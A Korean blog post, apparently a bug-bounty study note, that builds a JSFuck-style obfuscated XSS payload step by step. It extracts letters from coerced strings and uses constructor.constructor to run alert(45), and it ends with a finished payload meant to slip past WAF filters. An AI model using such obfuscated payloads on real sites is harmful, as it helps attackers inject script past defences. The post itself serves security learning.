본문 바로가기

해킹/Web

JSFuck for XSS(XSS를 위해 쓰는 JSFuck 공략!)

반응형

버그바운티 공부를 위해 하훌(‎@hahwul)님의 글을 읽던 중 매우 재밌어 보이는 코드를 발견해서 공부해봤습니다.

https://www.hahwul.com/2018/11/20/waf-bypass-xss-payload-only-hangul/

 

WAF Bypass XSS Payload Only Hangul(한글만 이용해서 XSS 페이로드 만들기)

Security engineer, Bugbounty hunter, Developer and... H4cker

www.hahwul.com

요약하면 JSFuck을 사용해서 alert()구문을 만들어 내는 거고 이 과정에서 한글 문자들에 저장 각 영문을 저장해서 실행 가능한 코드를 만드는 겁니다.

https://github.com/aemkei/katakana.js/blob/master/annotated.js 

 

aemkei/katakana.js

Write JavaScript alert(1) with Katakana characters only - aemkei/katakana.js

github.com

하훌님은 이쪽의 가타카나로 만드는 걸 보시고 만드셨다네요

각 문자를 추출하는 부분을 배우기 좋은 것 같습니다. 저는  공부하면서 'c'를 추출하기 힘들었는데 이 깃허브 보고 이해했습니다.

constructor.constructor(alert())로 코드를 실행시킬 수 있는 원리는

https://www.hahwul.com/2017/07/12/web-hacking-angularjs-sandboxdom-based/

 

[WEB HACKING] AngularJS sandbox(DOM based) escape technique

Security engineer, Bugbounty hunter, Developer and... H4cker

www.hahwul.com

이걸 보면 이해할 수 있습니다.

정말 대단한 분 같습니다. ㄷㄷ

 

constructor.constructor(alert('a'))

의 형태로 JSFuck으로 구성해줍시다. 이때 만들어야할 문자는 a c e l n o r s t u 가 있겠네요

크롬 개발자도구(f12)에서 테스트 했습니다.

[] + {}
"[object Object]"

[a,b,c,d,e,f,g]=[] + {}
"[object Object]"

"[object Object]"의 각 문자를 a b c d e f라는 변수에 순서대로 저장합니다.(문자열을 배열로)
이때 필요한 문자는 o와 c 즉 2번째와 6번째 문자입니다. 나머지 문자들은 굳이 저장할 필요없으므로
생략해서 길이를 줄여줍시다.

[,a,,,,b]=[] + {}
이제 a변수에는 'o'가 b변수에는 'c'가 들어있습니다.

[!a]
=false

[!!a]
=true

[!a]+[!!a]
"falsetrue"  

a.a 
undefined

[!a]+[!!a]+a.a 
"falsetrueundefined"

이제 constructor를 구성할 문자를 전부 뽑았네요 각 문자를 변수에 저장해 줍시다.

  c 1 o 2 n 3 s 4 t 4 r 5 u 6 
  a   b   c   d   e   f   g
  
  이런식으로 저장하면 각문자순으로 변수를 불러오면 constru 문자를 만들수 있을 겁니다.
  
  [,b,,,,a]=[] + {},[,,,d,,e,f,g,,,c]=[!a]+[!!a]+a.a
  를 입력해 저장
  
a+b+c+d+e+f+g
"constru"
정상적으로 불러와집니다.

a+b+c+d+e+f+g+a+e+b+f
"constructor"
얘를 두번쓰기때문에 따로 저장해줍시다.

h정도에 넣어줍시다.
h.h(alert(a))로 실행되는걸 확인

(alert("a"))(alert("b"))를 입력하면
a b 순으로 alert()가 동작하는 걸 기억합시다.

(여기서 각문자변수에 문자저장)(constructor.constructor(alert(문자)))로 동작시킵시다.

([,b,,,,a]=[] + {},[,,,d,,e,f,g,,,c]=[!a]+[!!a]+a.a,h=a+b+c+d+e+f+g+a+e+b+f)(h.h(alert(a)))
해주면 alert가 정상동작하는것을 확인할 수 있습니다.
이제 alert만 바꿔줍시다.

  c 1 o 2 n 3 s 4 t 4 r 5 u 6
  a   b   c   d   e   f   g
  
위에 써둔걸 이용하면 현재 r,t는 있으므로 a,l,e 만 있으면 됩니다.

  c 1 o 2 n 3 s 4 t 4 r 5 u 6 a 7 l 8 e
  a   b   c   d   e   f   g   i   j   k
  
로 저장해 줍시다. 코드를 수정해줍니다.

([,b,,,,a]=[] + {},[,i,j,d,k,e,f,g,,,c]=[!a]+[!!a]+a.a,h=a+b+c+d+e+f+g+a+e+b+f)[h][h](i+j+k+f+e+'(45)')()

이제 콘솔에서 실행시켜보면 정상작동하네요

최종코드는 ["constructor"]["constructor"](alert(45))() 를 나타냅니다.

사실 ["constructor"](alert(45))도 콘솔에선 정상동작하는데 이렇게 JSFuck을 구성하면 돌아가질 않네요
나중에 차분히 연구해봐야겠습니다.
이만 총총

============================================================================

최종 JSFuck 스크립트:
([,b,,,,a]=[] + {},[,i,j,d,k,e,f,g,,,c]=[!a]+[!!a]+a.a,h=a+b+c+d+e+f+g+a+e+b+f)[h][h](i+j+k+f+e+'(45)')()

정상동작 확인!